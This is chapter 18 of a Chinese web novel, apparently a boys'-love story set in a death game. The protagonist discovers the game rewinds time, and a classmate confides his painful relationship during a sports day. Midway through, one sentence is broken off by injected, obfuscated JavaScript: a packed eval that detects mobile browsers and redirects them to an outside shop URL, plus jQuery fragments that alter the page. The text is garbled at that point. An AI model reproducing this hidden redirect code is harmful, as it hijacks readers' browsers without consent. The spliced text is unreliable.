18.死亡校园

作品:《在死亡游戏里续命

    又是平安的一天。


    成绩公布了。


    蒋年依旧各科成绩是【0】。


    沈岁盯着成绩单,表情那叫一个无奈。


    “你……”他摇摇头,说不出话来。


    蒋年说:“我都快忘光了,而且我的手……变得很僵硬,握笔的时候很吃力。”


    这一回他没再对沈岁隐瞒。


    几分钟的功夫,沈岁就带蒋年去了校医务室。


    NPC校医询问一番,让蒋年伸手握拳,各种手指活动,还问这种情况什么时候开始的。


    总之还挺专业。


    蒋年莫名戳到了笑点,这不是游戏世界吗。


    搞的跟真的似的。


    但他还是认真回答了。


    NPC校医给出治疗方案,“让你男朋友多给你按摩按摩。”


    蒋年:“……”


    这什么治疗?


    好吧,是男朋友也没错。


    虽然他到现在没记得他交过这么一个男朋友。


    从校医务室出来,沈岁保姆似的握着蒋年的手给他按摩。


    蒋年抽了几次都没抽回,索性随他去了,因为按摩还挺舒服的。


    那天落日下的吻,蒋年意识到他的身体一点不讨厌跟沈岁亲密接触,反而还很享受。


    那个吻又深又长,就是最好的证明。


    沈岁的吻技很好,亲的他晕晕乎乎间仿佛记起一些事情,但很模糊。


    如果说上一次考零分是因为手的问题,那这一回,蒋年完全就是故意的。


    而且他的手也还没废到拿不动笔写不出字。


    他要确定到底是他的问题还是游戏回档了。


    强烈的直觉告诉他,这个游戏副本没有表面那么简单。


    如果说之前那些小儿科的闯关是恐怖。


    那么,现在平静下的校园才真正蕴藏着未知的危险。


    蒋年就等着黑衣人来带走他了。


    于是他气定神闲的坐在那盯着教室门口。


    很快,黑衣人走进了教室,带走了蒋年。


    坐进校车里的蒋年目不转睛盯着窗外那栋若隐若现的高楼。


    他要确定这一次会不会有什么物体从高楼坠落。


    但是,直到视线看不见,也没看到有物体坠落。


    蒋年想,这一次跟上次有点不一样。


    于是他把视线放到黑衣人老师身上,像上次那样开口,说着一样的话。


    “老师,那是我们学校的教学楼吗?”


    黑衣人这次没有回答,一双眼睛毫无感情的平视前方,没有任何反应。


    蒋年看着他,试探性叫了声“老师。”


    依旧毫无反应。


    蒋年抿了抿唇角,下一秒,他做了个大胆的举动。


    他伸手碰了碰NPC老师的胳膊,“老师,你……”


    话还没说完,蒋年面前的画面变了。


    他再一次坐在了那间教室,那个位置,那个考试的时间。


    而讲台上的老师正抱着膀臂看他,“蒋年同学你有什么问题吗?”


    蒋年:“?”


    偌大的教室里,其他考生们齐齐看向他。


    蒋年面无表情的跟老师对视,明明他刚刚……


    好吧。


    他暗暗叹气,“老师,我没什么问题。”


    “没问题就好好考试。”老师说。


    蒋年不再说话,低头看向考卷,其他同学们都在认真的写着答案,安静的教室里,只有笔落在试卷上嗒嗒嗒的声音。


    真是奇了怪了。


    不过,蒋年确定了,不是他的问题。


    而是游戏回档了。


    所以,操控这一切的是哪位?


    蒋年抬起头,环顾四周,总觉得就在他们这群人里头。


    毕竟,这个学校的NPC有点多。


    “蒋年同学,考试的时候不要东张西望好吗?”老师的语调变得关心起来,“你是不是有什么问题?如果有的话可以告诉老师。”


    又说:“你也可以考试结束后,告诉指导员或者班主任,有问题不要不好意思跟老师反应,就算是大学了,你们在老师眼里仍然是小孩子,懂吗?所以,有什么问题一定要及时跟老师沟通哦。”


    老师像是跟小朋友说话的语气把蒋年和在座的同学都弄的略微呆滞。


    蒋年没回答。


    他把视线重新放回试卷上,拿起笔,开始做题。


    既然确定了,那就没必要再考零分。


    这一次蒋年要试试如果他不交白卷,游戏剧情走向会怎样发展。


    出成绩那天,杜白、纪礼他们说着重复了三遍的话,感叹着自己的成绩。


    蒋年盯着自己的成绩排名【45】。


    沈岁看着蒋年不再是【0】的成绩,比他考了第一名还开心。


    温奇奇看了一圈,泄气道:“你们都比我考的多。”下一秒又嘿嘿一乐,“87名,也不错,不是倒数。”


    纪礼拧着眉头看自己的【78】名。


    杜白本身也是学霸,他排名第【7】。


    贺长明这个四肢发达头脑简单的二世祖盯着杜白的成绩排名,问,“你游戏里也这么认真?”


    杜白抬眼看他,后看向贺长明的排名【85】,客观评价,“你考的也不错。”


    要知道在现实世界,贺长明属于弃考的那类学生。


    得到这样的评价,贺长明挺高兴,从背后搂住杜白的腰,弯腰低头凑到他耳边小声说了句什么。


    杜白脸上蓦地一红,垂下眼眸没搭腔。


    贺长明才不管,当着蒋年他们的面,也不害臊,恶劣地咬了下杜白的耳朵。


    那个倒数第一名的学生被带走了,然后再也没有回来。


    玩家人数从【100】变更为【99】。


    晚上回到宿舍,温奇奇好奇,“最后一名是被击杀了还是被怪物吃掉了?”


    没人回答,因为大家也不知道,同时也好奇。


    熄灯铃响了。


    学校有规定,熄灯后,禁止外出,禁止弄出大动静。


    否则就会唤醒沉睡中的怪物,会看到不该看到的生命体。


    蒋年平躺在床上,黑夜里他并没有闭上眼睛睡觉,而是盯着上方思考。


    如此看来,只有他一个人记得游戏回档这件事。


    但是为什么会回档?


    为什么只有他记得?


    是专门针对他?


    还是游戏出现了bug?


    再或者是他在这个副本里出现了bug?


    到现在,蒋年都不知道通关这个副本的关键点是什么。


    根本摸不透。


    不像是寻常恐怖游戏,就很说不上来的感觉。


    蒋年在各种猜测中渐渐睡去,等他再醒来,校园广播洋溢着青春的气息。


    一切如常。


    仿佛身处现实。


    但周围的同学们都很享受,因为谁也不愿意破坏这份安全。


    当然,还有个前提是要让自己的成绩保持在不错的排名。


    连续平静的上了几天课。


    迎来了校运动会。


    他们宿舍全员参加,因为老师说了这关系小团体的成绩排名。


    蒋年是个运动白痴,杜白也是,加上个温奇奇。


    不过,温奇奇很乐观,为了打探敌情,还专门以身犯险跑去别的小团队那里。


    蒋年坐在操场一处,手上还玩着根狗尾巴草。


    杜白坐在他旁边,手上是毛巾和矿泉水。


    两人都属于沉默寡言那一类的,但相比较蒋年,杜白还算是话唠。


    他先打破安静,跟蒋年说他运动方面没天赋,无论是跑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715994|143094||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    步、跳远还是其他都不行。


    说完担忧起来,“希望别拖你们后腿。”


    其实说这些,杜白也没期望能得到蒋年的回答,相处这么些天,蒋年还没真正跟他们中任何人说过话。


    当然,排除沈岁。


    但是,他却莫名觉得蒋年这人不错。


    至于不爱说话,是他的权利,毕竟每个人都有自己独特的性格。


    杜白一向很尊重任何人。


    蒋年在杜白说完后,顿了顿,说:“我身体就跟死了一样,我都不担心,你就更不用担心,大不了都死,况且,游戏的世界,谁知道是不是死了更好。”


    杜白:“……”


    这话怎么听着有点……道理。


    杜白看向蒋年,关心道:“你身体是不舒服吗?”


    蒋年摇头,“不知道。”


    他的确不知道,只是感觉或许是生病了。


    杜白不太明白的“哦”了声,默了默,真心道:“希望你身体无恙。”


    他说这话的时候笑容明亮温润,眼里的关心是真挚的。


    蒋年的冰山脸没什么变化,说了句“谢谢。”


    杜白依旧笑着,“别这么客气,我们是朋友。”


    朋友?


    这个词仿佛有一刹那触动了蒋年。


    记忆里他没有一个朋友。


    大概是为了找话题,杜白说:“你男朋友真温柔。”


    蒋年神色平淡地说:“是吗?”


    杜白看向篮球场上浑洒汗水的贺长明,笑意收敛,“是啊,你看看其他人对比一下就知道了,他的脾气简直是理想男友的脾气。”


    蒋年顺着他的视线看向打篮球的沈岁,想想确实挺温柔的。


    但总觉得他是装出来的。


    杜白叹口气,岔了话题,“你是怎么进入这个副本的?”


    蒋年继续玩狗尾巴草,诚实地说:“睡着觉呢,睁开眼就到了这里。”


    杜白说:“我是头天晚上跟贺长明大吵了一架,下着雨我从我们俩的出租屋里跑了出来,我也不知道跑了多久,跑着跑着就到这儿了。”他说着眼里带了一丝苦涩,“记得当时我边跑边哭,恨恨地想,到底什么人什么事才能治得了贺长明那样不可一世的混蛋,没想到就到了这个副本,更没想到的是贺长明也在。”


    人很奇怪,当某种情绪淤积在胸口,时间一久,碰到个人就会产生强烈的倾诉欲。


    “我跟他本来就不是一个世界的人,如果不是获得他父母的资助,如果不是我一心想要去那座城市当面谢谢他的父母,这辈子我都不可能碰到他,当看到他第一眼,我就心慌的不行,不敢正眼看他,因为也是看他第一眼我就产生了那种低到骨子里的自卑,让我难过了好一阵子,但没想到,”杜白说到这儿自嘲地笑了笑,“他居然一点没有瞧不起我,带我逛街,玩游戏,看电影,吃好吃的,会给买礼物,带我见了以前我从未见过的世面,我以为他应该是喜欢我的,但是,他却告诉我,他仅仅只是因为没睡过男生,而且我圈子很干净,身体也很干净,还告诉我他不可能跟个男生谈婚论嫁搞一辈子,大学期间就互相玩玩,一毕业各奔东西……”


    蒋年坐在那听着,一言不发。


    他对渣攻贱受的故事不感兴趣,但也不会打断杜白的倾诉。


    虽然他冷漠无法共情,但最起码的尊重他还是知道的。


    说到最后,杜白的声音里带了点压抑,那是他在克制自己想哭的情绪,“我觉得特别对不起贺叔叔和贺阿姨,现在我什么都不想了,只想贺长明能够从这个游戏里平安回家。”


    蒋年垂着眼看着手上的狗尾巴草,他其实本想说“让他去死”这种话。


    但是,最终,只是淡淡开口,“去那栋楼看看。”他说完抬头看向不远处若隐若现的高楼。


    杜白顺着他的视线看去,皱起眉头。